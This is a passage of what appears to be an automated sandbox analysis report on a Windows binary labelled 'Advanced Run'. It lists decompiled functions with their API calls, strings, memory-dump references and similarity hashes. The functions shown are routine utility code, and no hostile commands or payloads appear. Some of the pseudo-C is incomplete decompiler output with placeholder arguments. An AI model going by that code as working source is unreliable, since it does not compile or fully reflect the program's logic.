Part of subcall function 0040467A: memset.MSVCRT ref: 004046AF
Part of subcall function 0040467A: _snwprintf.MSVCRT ref: 004046CD
Part of subcall function 0040467A: RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,?,?,?,?,?,00020019), ref: 004046E6
Part of subcall function 0040467A: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,00020019), ref: 004046FA

Strings

exefile, xrefs: 00403BAD
Advanced Run, xrefs: 00403BBE
"%s" /EXEFilename "%%1", xrefs: 00403B8E

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$_snwprintf$CloseFileModuleNameOpenmemcpywcslen
String ID: "%s" /EXEFilename "%%1"$Advanced Run$exefile
API String ID: 1832587304-479876776
Opcode ID: 0a24b3981c90f53bc0afe707e01056d79404e7683c9323ccd1d0569bed7942f0
Instruction ID: c5548abdd2f98fe5b378efca96f69d72dd5acd8230f4ce7b006819db5738462c
Opcode Fuzzy Hash: 0a24b3981c90f53bc0afe707e01056d79404e7683c9323ccd1d0569bed7942f0
Instruction Fuzzy Hash: 6B11A3B29403186AD720E761CC05ACF776CDF45314F0041B6BA08B71C2D77C5B418B9E

Uniqueness

Uniqueness Score: -1.00%

Function 0040AFBE, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AFBE(void* __esi, void* _a4, wchar_t* _a8, wchar_t* _a12) {
				void* _v8;
				int _v12;
				short _v524;
				char _v1036;
				void* __edi;

				wcscpy( &_v524, L"\\StringFileInfo\\");
				wcscat( &_v524, _a8);
				wcscat( &_v524, "\\");
				wcscat( &_v524, _a12);
				if(VerQueryValueW(_a4,  &_v524,  &_v8,  &_v12) == 0) {
					return 0;
				}
				_t34 =  &_v1036;
				E00404923(0xff,  &_v1036, _v8);
				E004049A2(_t34, __esi);
				return 1;
			}

0x0040afd3
0x0040afe2
0x0040aff3
0x0040b002
0x0040b023
0x00000000
0x0040b047
0x0040b02e
0x0040b034
0x0040b03c
0x00000000

APIs

wcscpy.MSVCRT ref: 0040AFD3
wcscat.MSVCRT ref: 0040AFE2
wcscat.MSVCRT ref: 0040AFF3
wcscat.MSVCRT ref: 0040B002
VerQueryValueW.VERSION(?,?,00000000,?), ref: 0040B01C

Part of subcall function 00404923: wcslen.MSVCRT ref: 0040492A
Part of subcall function 00404923: memcpy.MSVCRT ref: 00404940

Part of subcall function 004049A2: lstrcpyW.KERNEL32 ref: 004049B7
Part of subcall function 004049A2: lstrlenW.KERNEL32(?), ref: 004049BE

Strings

\StringFileInfo\, xrefs: 0040AFCD

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcscat$QueryValuelstrcpylstrlenmemcpywcscpywcslen
String ID: \StringFileInfo\
API String ID: 393120378-2245444037
Opcode ID: 045a8df20043a551ca88a82222e75e8b313ea16cabd954164b3126fb0df90005
Instruction ID: 46c7c43bb965d9609608e4f6c2ae6b517043b349f439a100f6d085a340de75fe
Opcode Fuzzy Hash: 045a8df20043a551ca88a82222e75e8b313ea16cabd954164b3126fb0df90005
Instruction Fuzzy Hash: CF015EB290020DA6DB11EAA2CC45DDF776DDB44304F0005B6B654F2092EB3CDA969A98

Uniqueness

Uniqueness Score: -1.00%

Function 00405E8D, Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 26COMMON

Download Yara Rule

APIs

_snwprintf.MSVCRT ref: 00405EB2
wcscpy.MSVCRT ref: 00405ED5

Strings

dialog_%d, xrefs: 00405EA6
menu_%d, xrefs: 00405E96
strings, xrefs: 00405EC0
general, xrefs: 00405ECB

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintfwcscpy
String ID: dialog_%d$general$menu_%d$strings
API String ID: 999028693-502967061
Opcode ID: b64df2e80323ba4b17253e10f943d6139d2bc5d6bf6da17a7692c82038848a44
Instruction ID: fc2f6d5a95cb840c7437c23e5da9cc5f651b22c54dcbfaa02992beb3cb27aad2
Opcode Fuzzy Hash: b64df2e80323ba4b17253e10f943d6139d2bc5d6bf6da17a7692c82038848a44
Instruction Fuzzy Hash: CDE08C31A94B00B5E96423418DC7F2B2801DE90B14FB0083BF686B05C1E6BDBA0528DF

Uniqueness

Uniqueness Score: -1.00%

Function 004092F0, Relevance: 9.1, APIs: 6, Instructions: 141
COMMON

Download Yara Rule

C-Code - Quality: 38%

			E004092F0(void* __ecx, void* __eflags, long _a4, void _a8, intOrPtr _a12, long _a16, intOrPtr _a508, intOrPtr _a512, intOrPtr _a540, intOrPtr _a544, char _a552, char _a560, intOrPtr _a572, intOrPtr _a576, intOrPtr _a580, long _a1096, char _a1600, int _a1616, void _a1618, char _a2160) {
				void* _v0;
				intOrPtr _v4;
				intOrPtr _v8;
				unsigned int _v12;
				void* _v16;
				char _v20;
				char _v24;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v44;
				void* __edi;
				void* __esi;
				intOrPtr _t58;
				void* _t59;
				void* _t69;
				void* _t72;
				intOrPtr _t78;
				void _t89;
				signed int _t90;
				int _t98;
				signed int _t105;
				signed int _t106;
				void* _t109;

				_t106 = _t105 & 0xfffffff8;
				E0040B550(0x8874, __ecx);
				_t98 = 0;
				_a8 = 0;
				if(E00404BD3() == 0) {
					L12:
					__eflags =  *0x4101b8 - _t98; // 0x0
					if(__eflags != 0) {
						_t89 = _a4;
						_t58 =  *0x40f83c(8, _t89);
						__eflags = _t58 - 0xffffffff;
						_v8 = _t58;
						if(_t58 != 0xffffffff) {
							_v0 = 1;
							_a560 = 0x428;
							_t59 =  *0x40f834(_t58,  &_a560);
							while(1) {
								__eflags = _t59;
								if(_t59 == 0) {
									goto L18;
								}
								memset( &_a8, _t98, 0x21c);
								_a12 = _a580;
								_a8 = _t89;
								wcscpy( &_a16,  &_a1096);
								_a540 = _a576;
								_t106 = _t106 + 0x14;
								_a544 = _a572;
								_a552 = 0x428;
								_t69 = E00409510(_a8,  &_a8);
								__eflags = _t69;
								if(_t69 != 0) {
									_t59 =  *0x40f830(_v16,  &_a552);
									continue;
								}
								goto L18;
							}
							goto L18;
						}
					}
				} else {
					_t109 =  *0x4101bc - _t98; // 0x0
					if(_t109 == 0) {
						goto L12;
					} else {
						_t72 = OpenProcess(0x410, 0, _a4);
						_v0 = _t72;
						if(_t72 != 0) {
							_push( &_a4);
							_push(0x8000);
							_push( &_a2160);
							_push(_t72);
							if( *0x40f840() != 0) {
								_t6 =  &_v12;
								 *_t6 = _v12 >> 2;
								_v8 = 1;
								_t90 = 0;
								if( *_t6 != 0) {
									while(1) {
										_a1616 = _t98;
										memset( &_a1618, _t98, 0x208);
										memset( &_a8, _t98, 0x21c);
										_t78 =  *((intOrPtr*)(_t106 + 0x898 + _t90 * 4));
										_t106 = _t106 + 0x18;
										_a8 = _a4;
										_a12 = _t78;
										 *0x40f838(_v16, _t78,  &_a1616, 0x104);
										E0040920A( &_v0,  &_a1600);
										_push(0xc);
										_push( &_v20);
										_push(_v4);
										_push(_v32);
										if( *0x40f844() != 0) {
											_a508 = _v32;
											_a512 = _v36;
										}
										if(E00409510(_a8,  &_v24) == 0) {
											goto L18;
										}
										_t90 = _t90 + 1;
										if(_t90 < _v44) {
											_t98 = 0;
											__eflags = 0;
											continue;
										} else {
										}
										goto L18;
									}
								}
							}
							L18:
							CloseHandle(_v16);
						}
					}
				}
				return _a8;
			}

0x004092f3
0x004092fb
0x00409303
0x00409305
0x00409310
0x00409433
0x00409433
0x00409439
0x0040943f
0x00409445
0x0040944b
0x0040944e
0x00409452
0x00409466
0x0040946e
0x00409475
0x004094f7
0x004094f7
0x004094f9
0x00000000
0x00000000
0x00409488
0x00409494
0x004094a5
0x004094a9
0x004094b5
0x004094c3
0x004094c6
0x004094d5
0x004094dc
0x004094e1
0x004094e3
0x004094f1
0x00000000
0x004094f1
0x00000000
0x004094e3
0x00000000
0x004094f7
0x00409452
0x00409316
0x00409316
0x0040931c
0x00000000
0x00409322
0x0040932b
0x00409333
0x00409337
0x00409341
0x00409342
0x0040934e
0x0040934f
0x00409358
0x0040935e
0x0040935e
0x00409363
0x0040936b
0x0040936d
0x00409377
0x00409385
0x0040938d
0x0040939d
0x004093a5
0x004093ac
0x004093b4
0x004093c5
0x004093c9
0x004093da
0x004093df
0x004093e5
0x004093e6
0x004093ea
0x004093f6
0x004093fc
0x00409407
0x00409407
0x0040941d
0x00000000
0x00000000
0x00409423
0x00409428
0x00409375
0x00409375
0x00000000
0x00000000
0x0040942e
0x00000000
0x00409428
0x00409377
0x0040936d
0x004094fb
0x004094ff
0x004094ff
0x00409337
0x0040931c
0x0040950f

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000,?,00000000,00000000,?,00408CE3,00000000,00000000), ref: 0040932B
memset.MSVCRT ref: 0040938D
memset.MSVCRT ref: 0040939D

Part of subcall function 0040920A: wcscpy.MSVCRT ref: 00409233

memset.MSVCRT ref: 00409488
wcscpy.MSVCRT ref: 004094A9
CloseHandle.KERNEL32(?,00408CE3,?,?,?,00408CE3,00000000,00000000), ref: 004094FF

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$wcscpy$CloseHandleOpenProcess
String ID:
API String ID: 3300951397-0
Opcode ID: 35b1b47fb41be2c3e4820f38a09934af673dc0f51eb17e2be69c8f32b4af62fe
Instruction ID: b0ac5d6e05c2becfea0857ee93370de63ec0533c429aeeb167529e34c4b0c205
Opcode Fuzzy Hash: 35b1b47fb41be2c3e4820f38a09934af673dc0f51eb17e2be69c8f32b4af62fe
Instruction Fuzzy Hash: AE512A71108345ABD720DF65CC88A9BB7E8FFC4304F404A3EF989A2291DB75D945CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00402EC8, Relevance: 9.0, APIs: 6, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E00402EC8(void* __ebx) {
				struct tagRECT _v20;
				struct tagPAINTSTRUCT _v84;

				GetClientRect( *(__ebx + 0x10),  &_v20);
				_v20.left = _v20.right - GetSystemMetrics(0x15);
				_v20.top = _v20.bottom - GetSystemMetrics(0x14);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				DrawFrameControl(BeginPaint( *(__ebx + 0x10),  &_v84),  &_v20, 3, 8);
				return EndPaint( *(__ebx + 0x10),  &_v84);
			}

0x00402ed7
0x00402eee
0x00402ef8
0x00402f00
0x00402f01
0x00402f05
0x00402f0a
0x00402f1a
0x00402f30

APIs

GetClientRect.USER32 ref: 00402ED7
GetSystemMetrics.USER32 ref: 00402EE5
GetSystemMetrics.USER32 ref: 00402EF1
BeginPaint.USER32(?,?), ref: 00402F0B
DrawFrameControl.USER32 ref: 00402F1A
EndPaint.USER32(?,?), ref: 00402F27

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: MetricsPaintSystem$BeginClientControlDrawFrameRect
String ID:
API String ID: 19018683-0
Opcode ID: 8c0e1e97105e41a4185fd691eb38b3eaa50651c9f1af749464abe97b92a3298f
Instruction ID: c8721ad6730a543cd54d50ae751cb56b62cc93be397439d4b1c9778783e315ec
Opcode Fuzzy Hash: 8c0e1e97105e41a4185fd691eb38b3eaa50651c9f1af749464abe97b92a3298f
Instruction Fuzzy Hash: 8C01EC72900218EFDF04DFA4DD859FE7B79FB44301F000569EA11AA195DA71A904CF90

Uniqueness

Uniqueness Score: -1.00%

Function 004079A4, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E004079A4(void* __edi, void* __esi, intOrPtr _a4, intOrPtr* _a8) {
				void _v514;
				signed short _v516;
				signed short* _t34;
				signed int _t37;
				void* _t40;
				signed short* _t44;
				void* _t46;

				_t40 = __edi;
				E00407343(__edi, _a4, L"<item>\r\n");
				_t37 = 0;
				if( *((intOrPtr*)(__edi + 0x2c)) > 0) {
					do {
						_v516 = _v516 & 0x00000000;
						memset( &_v514, 0, 0x1fc);
						E0040ADF1( *((intOrPtr*)( *_a8))( *( *((intOrPtr*)(__edi + 0x30)) + _t37 * 4),  *((intOrPtr*)(__edi + 0x60))),  *((intOrPtr*)(__edi + 0x64)));
						_t44 =  &_v516;
						E00407250(_t44,  *((intOrPtr*)( *( *((intOrPtr*)(__edi + 0x30)) + _t37 * 4) * 0x14 +  *((intOrPtr*)(__edi + 0x40)) + 0x10)));
						_t34 = _t44;
						_push(_t34);
						_push( *((intOrPtr*)(__edi + 0x64)));
						_push(_t34);
						_push(L"<%s>%s</%s>\r\n");
						_push(0x2000);
						_push( *((intOrPtr*)(__edi + 0x68)));
						L0040B1EC();
						_t46 = _t46 + 0x24;
						E00407343(__edi, _a4,  *((intOrPtr*)(__edi + 0x68)));
						_t37 = _t37 + 1;
					} while (_t37 <  *((intOrPtr*)(__edi + 0x2c)));
				}
				return E00407343(_t40, _a4, L"</item>\r\n");
			}

0x004079a4
0x004079b8
0x004079bd
0x004079c2
0x004079c5
0x004079c5
0x004079db
0x004079f7
0x00407a06
0x00407a0c
0x00407a11
0x00407a13
0x00407a14
0x00407a17
0x00407a18
0x00407a1d
0x00407a22
0x00407a25
0x00407a2a
0x00407a35
0x00407a3a
0x00407a3b
0x00407a40
0x00407a52

APIs

memset.MSVCRT ref: 004079DB

Part of subcall function 0040ADF1: memcpy.MSVCRT ref: 0040AE6E

Part of subcall function 00407250: wcscpy.MSVCRT ref: 00407255
Part of subcall function 00407250: _wcslwr.MSVCRT ref: 00407288

_snwprintf.MSVCRT ref: 00407A25

Strings

</item>, xrefs: 00407A41
<%s>%s</%s>, xrefs: 00407A18
<item>, xrefs: 004079AE

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintf_wcslwrmemcpymemsetwcscpy
String ID: <%s>%s</%s>$</item>$<item>
API String ID: 1775345501-2769808009
Opcode ID: 3db2232b312ed916784b241718d450bfb00e2b25eb8021401c0f03919c4bf03b
Instruction ID: c8ba369f0531ab1f4cd0c6f6a7ba1592bf00f2a9533aec28b16f0bdd84d8fa76
Opcode Fuzzy Hash: 3db2232b312ed916784b241718d450bfb00e2b25eb8021401c0f03919c4bf03b
Instruction Fuzzy Hash: 3D119131A40219BFDB21AB65CC86E5A7B25FF04308F00006AFD0477692C739B965DBD9

Uniqueness

Uniqueness Score: -1.00%

Function 0040467A, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44
registryCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E0040467A(void* __edi) {
				signed int _v8;
				void* _v12;
				void* _v16;
				void _v2062;
				short _v2064;
				int _t16;

				_v8 = _v8 & 0x00000000;
				_t16 = E004043F8( &_v12, 0x20019);
				if(_t16 == 0) {
					_v2064 = _v2064 & _t16;
					memset( &_v2062, _t16, 0x7fe);
					_push(__edi + 0x20a);
					_push(L"%s\\shell\\%s");
					_push(0x3ff);
					_push( &_v2064);
					L0040B1EC();
					if(RegOpenKeyExW(_v12,  &_v2064, 0, 0x20019,  &_v16) == 0) {
						_v8 = 1;
						RegCloseKey(_v16);
					}
				}
				return _v8;
			}

0x00404683
0x00404692
0x00404699
0x0040469b
0x004046af
0x004046ba
0x004046bc
0x004046c7
0x004046cc
0x004046cd
0x004046ee
0x004046f3
0x004046fa
0x004046fa
0x004046ee
0x00404705

APIs

memset.MSVCRT ref: 004046AF
_snwprintf.MSVCRT ref: 004046CD
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,?,?,?,?,?,00020019), ref: 004046E6
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,00020019), ref: 004046FA

Strings

%s\shell\%s, xrefs: 004046BC

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseOpen_snwprintfmemset
String ID: %s\shell\%s
API String ID: 1458959524-3196117466
Opcode ID: dd937bb9006710e66f977af40412b0b6fd133ebddff1bc1205fab9b1dc2b10fe
Instruction ID: 1855bd24da60c853c30f7b3e18bb60aca338c900c60696cbbcdbf1fba26ecf92
Opcode Fuzzy Hash: dd937bb9006710e66f977af40412b0b6fd133ebddff1bc1205fab9b1dc2b10fe
Instruction Fuzzy Hash: 20011EB5D00218FADB109BD1DD45FDAB7BCEF44314F0041B6AA04F2181EB749B489BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00409D5F, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 16%

			E00409D5F(void* __ecx, wchar_t* __esi, void* __eflags, intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, WCHAR* _a16, long _a20, WCHAR* _a24) {
				signed short _v131076;

				_t25 = __esi;
				E0040B550(0x20000, __ecx);
				if(_a4 == 0) {
					return GetPrivateProfileStringW(_a8, _a12, _a16, __esi, _a20, _a24);
				} else {
					if(__esi == 0 || wcschr(__esi, 0x22) == 0) {
						_push(_a24);
					} else {
						_v131076 = _v131076 & 0x00000000;
						_push(__esi);
						_push(L"\"%s\"");
						_push(0xfffe);
						_push( &_v131076);
						L0040B1EC();
						_push(_a24);
						_push( &_v131076);
					}
					return WritePrivateProfileStringW(_a8, _a12, ??, ??);
				}
			}

0x00409d5f
0x00409d67
0x00409d70
0x00409ddb
0x00409d72
0x00409d74
0x00409db2
0x00409d84
0x00409d84
0x00409d8c
0x00409d8d
0x00409d98
0x00409d9d
0x00409d9e
0x00409da6
0x00409daf
0x00409daf
0x00409dc3
0x00409dc3

APIs

wcschr.MSVCRT ref: 00409D79
_snwprintf.MSVCRT ref: 00409D9E
WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 00409DBC
GetPrivateProfileStringW.KERNEL32 ref: 00409DD4

Strings

"%s", xrefs: 00409D8D

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: PrivateProfileString$Write_snwprintfwcschr
String ID: "%s"
API String ID: 1343145685-3297466227
Opcode ID: ba2a529124e3a207c998afa530794a8b3af16421fe15764eebdae90aacee263b
Instruction ID: cff84325bbeeabecfb89bf19508a3778b9d9768fc6139f0f3fcaa17558a1ecc1
Opcode Fuzzy Hash: ba2a529124e3a207c998afa530794a8b3af16421fe15764eebdae90aacee263b
Instruction Fuzzy Hash: BA018B3244421AFADF219F90DC45FDA3B6AEF04348F008065BA14701E3D739C921DB98

Uniqueness

Uniqueness Score: -1.00%

Function 004047D2, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 31
windowCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E004047D2(long __ecx, void* __eflags, struct HWND__* _a4) {
				char _v2052;
				short _v4100;
				void* __edi;
				long _t15;
				long _t16;

				_t15 = __ecx;
				E0040B550(0x1000, __ecx);
				_t16 = _t15;
				if(_t16 == 0) {
					_t16 = GetLastError();
				}
				E00404706(_t16,  &_v2052);
				_push( &_v2052);
				_push(_t16);
				_push(L"Error %d: %s");
				_push(0x400);
				_push( &_v4100);
				L0040B1EC();
				return MessageBoxW(_a4,  &_v4100, L"Error", 0x30);
			}

0x004047d2
0x004047da
0x004047e0
0x004047e4
0x004047ec
0x004047ec
0x004047f5
0x00404800
0x00404801
0x00404802
0x0040480d
0x00404812
0x00404813
0x00404834

APIs

GetLastError.KERNEL32(?,?,004035EB,?,?), ref: 004047E6
_snwprintf.MSVCRT ref: 00404813
MessageBoxW.USER32(?,?,Error,00000030), ref: 0040482C

Strings

Error %d: %s, xrefs: 00404802
Error, xrefs: 0040481D

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastMessage_snwprintf
String ID: Error$Error %d: %s
API String ID: 313946961-1552265934
Opcode ID: 9fa9ceadd2aea683486b90f32a73d9d70e1e2e007ee85f632c4fe4fcea7526ce
Instruction ID: 90e5118ee4f46ea14b6138c5fdcdbe0805ab296af9aaa7bfd3b1d45c15712702
Opcode Fuzzy Hash: 9fa9ceadd2aea683486b90f32a73d9d70e1e2e007ee85f632c4fe4fcea7526ce
Instruction Fuzzy Hash: 30F08975500208A6C711A795CC46FD572ACEB44785F0401B6B604F31C1DB78AA448A9C

Uniqueness

Uniqueness Score: -1.00%

Function 004068EC, Relevance: 7.6, APIs: 6, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E004068EC(intOrPtr* __eax, void* __eflags, intOrPtr _a4) {
				void* _v8;
				signed int _v12;
				void* __ebx;
				void* __ecx;
				void* __edi;
				void* __esi;
				signed int _t74;
				signed int _t76;
				signed short _t85;
				signed int _t87;
				intOrPtr _t88;
				signed short _t93;
				void* _t95;
				signed int _t124;
				signed int _t126;
				signed int _t128;
				intOrPtr* _t131;
				signed int _t135;
				signed int _t137;
				signed int _t138;
				void* _t141;
				void* _t142;
				void* _t146;

				_t142 = __eflags;
				_push(_t102);
				_t131 = __eax;
				 *((intOrPtr*)(__eax + 4)) =  *((intOrPtr*)( *__eax + 0x68))();
				E00406746(__eax);
				 *(_t131 + 0x38) =  *(_t131 + 0x38) & 0x00000000;
				_t135 = 5;
				 *((intOrPtr*)(_t131 + 0x2a0)) = _a4;
				_t124 = 0x14;
				_t74 = _t135 * _t124;
				 *(_t131 + 0x2d0) = _t135;
				_push( ~(0 | _t142 > 0x00000000) | _t74);
				L0040B26C();
				 *(_t131 + 0x2d4) = _t74;
				_t126 = 0x14;
				_t76 = _t135 * _t126;
				_push( ~(0 | _t142 > 0x00000000) | _t76);
				L0040B26C();
				_t95 = 0x40f008;
				 *(_t131 + 0x40) = _t76;
				_v8 = 0x40f008;
				do {
					_t137 =  *_t95 * 0x14;
					memcpy( *(_t131 + 0x2d4) + _t137, _t95, 0x14);
					_t24 = _t95 + 0x14; // 0x40f01c
					memcpy( *(_t131 + 0x40) + _t137, _t24, 0x14);
					_t85 =  *( *(_t131 + 0x2d4) + _t137 + 0x10);
					_t141 = _t141 + 0x18;
					_v12 = _t85;
					 *( *(_t131 + 0x40) + _t137 + 0x10) = _t85;
					if((_t85 & 0xffff0000) == 0) {
						 *( *(_t131 + 0x2d4) + _t137 + 0x10) = E00405B81(_t85 & 0x0000ffff);
						_t93 = E00405B81(_v12 | 0x00010000);
						_t95 = _v8;
						 *( *(_t131 + 0x40) + _t137 + 0x10) = _t93;
					}
					_t95 = _t95 + 0x28;
					_t146 = _t95 - 0x40f0d0;
					_v8 = _t95;
				} while (_t146 < 0);
				 *(_t131 + 0x44) =  *(_t131 + 0x44) & 0x00000000;
				_t138 = 5;
				_t128 = 4;
				_t87 = _t138 * _t128;
				 *((intOrPtr*)(_t131 + 0x48)) = 1;
				 *(_t131 + 0x2c) = _t138;
				 *((intOrPtr*)(_t131 + 0x28)) = 0x20;
				_push( ~(0 | _t146 > 0x00000000) | _t87);
				L0040B26C();
				_push(0xc);
				 *(_t131 + 0x30) = _t87;
				L0040B26C();
				_t139 = _t87;
				if(_t87 == 0) {
					_t88 = 0;
					__eflags = 0;
				} else {
					_t88 = E00406607(_a4,  *((intOrPtr*)(_t131 + 0x58)), _t139);
				}
				 *((intOrPtr*)(_t131 + 0x2c0)) = _t88;
				 *((intOrPtr*)(_t131 + 0x4c)) = 1;
				 *((intOrPtr*)(_t131 + 0x50)) = 0;
				 *((intOrPtr*)(_t131 + 0x2b4)) = 1;
				 *((intOrPtr*)(_t131 + 0x2b8)) = 0;
				 *((intOrPtr*)(_t131 + 0x2bc)) = 0;
				 *((intOrPtr*)(_t131 + 0x2c4)) = 1;
				 *((intOrPtr*)(_t131 + 0x2c8)) = 1;
				 *((intOrPtr*)(_t131 + 0x334)) = 0x32;
				 *((intOrPtr*)(_t131 + 0x5c)) = 0xffffff;
				return E0040686C(_t131);
			}

0x004068ec
0x004068f0
0x004068f4
0x004068ff
0x00406902
0x0040690a
0x00406910
0x00406911
0x0040691b
0x0040691e
0x00406923
0x0040692d
0x0040692e
0x00406933
0x0040693d
0x00406940
0x00406949
0x0040694a
0x00406950
0x00406956
0x00406959
0x0040695c
0x00406964
0x0040696d
0x00406974
0x0040697e
0x00406989
0x00406990
0x00406998
0x0040699b
0x0040699f
0x004069b8
0x004069bc
0x004069c4
0x004069c7
0x004069c7
0x004069cb
0x004069ce
0x004069d4
0x004069d4
0x004069d9
0x004069df
0x004069e6
0x004069ea
0x004069ef
0x004069f2
0x004069f5
0x00406a00
0x00406a01
0x00406a06
0x00406a08
0x00406a0b
0x00406a10
0x00406a16
0x00406a25
0x00406a25
0x00406a18
0x00406a1e
0x00406a1e
0x00406a27
0x00406a2f
0x00406a32
0x00406a35
0x00406a3b
0x00406a41
0x00406a47
0x00406a4d
0x00406a53
0x00406a5d
0x00406a6d

APIs

Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406752
Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406760
Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406771
Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406788
Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406791

??2@YAPAXI@Z.MSVCRT ref: 0040692E
??2@YAPAXI@Z.MSVCRT ref: 0040694A
memcpy.MSVCRT ref: 0040696D
memcpy.MSVCRT ref: 0040697E
??2@YAPAXI@Z.MSVCRT ref: 00406A01
??2@YAPAXI@Z.MSVCRT ref: 00406A0B

Part of subcall function 00405B81: GetModuleHandleW.KERNEL32(00000000,?,?,00403490), ref: 00405BC0
Part of subcall function 00405B81: LoadStringW.USER32(00000000,000001F5,?), ref: 00405C59
Part of subcall function 00405B81: memcpy.MSVCRT ref: 00405C99

Part of subcall function 00405B81: wcscpy.MSVCRT ref: 00405C02
Part of subcall function 00405B81: wcslen.MSVCRT ref: 00405C20
Part of subcall function 00405B81: GetModuleHandleW.KERNEL32(00000000,?,?,?,00403490), ref: 00405C2E

Memory Dump Source

Source File: 00000019.00000002.430446180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.430278834.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430938704.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.430981708.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.431025138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$??2@$memcpy$HandleModule$LoadStringwcscpywcslen
String ID:
API String ID: 975042529-0
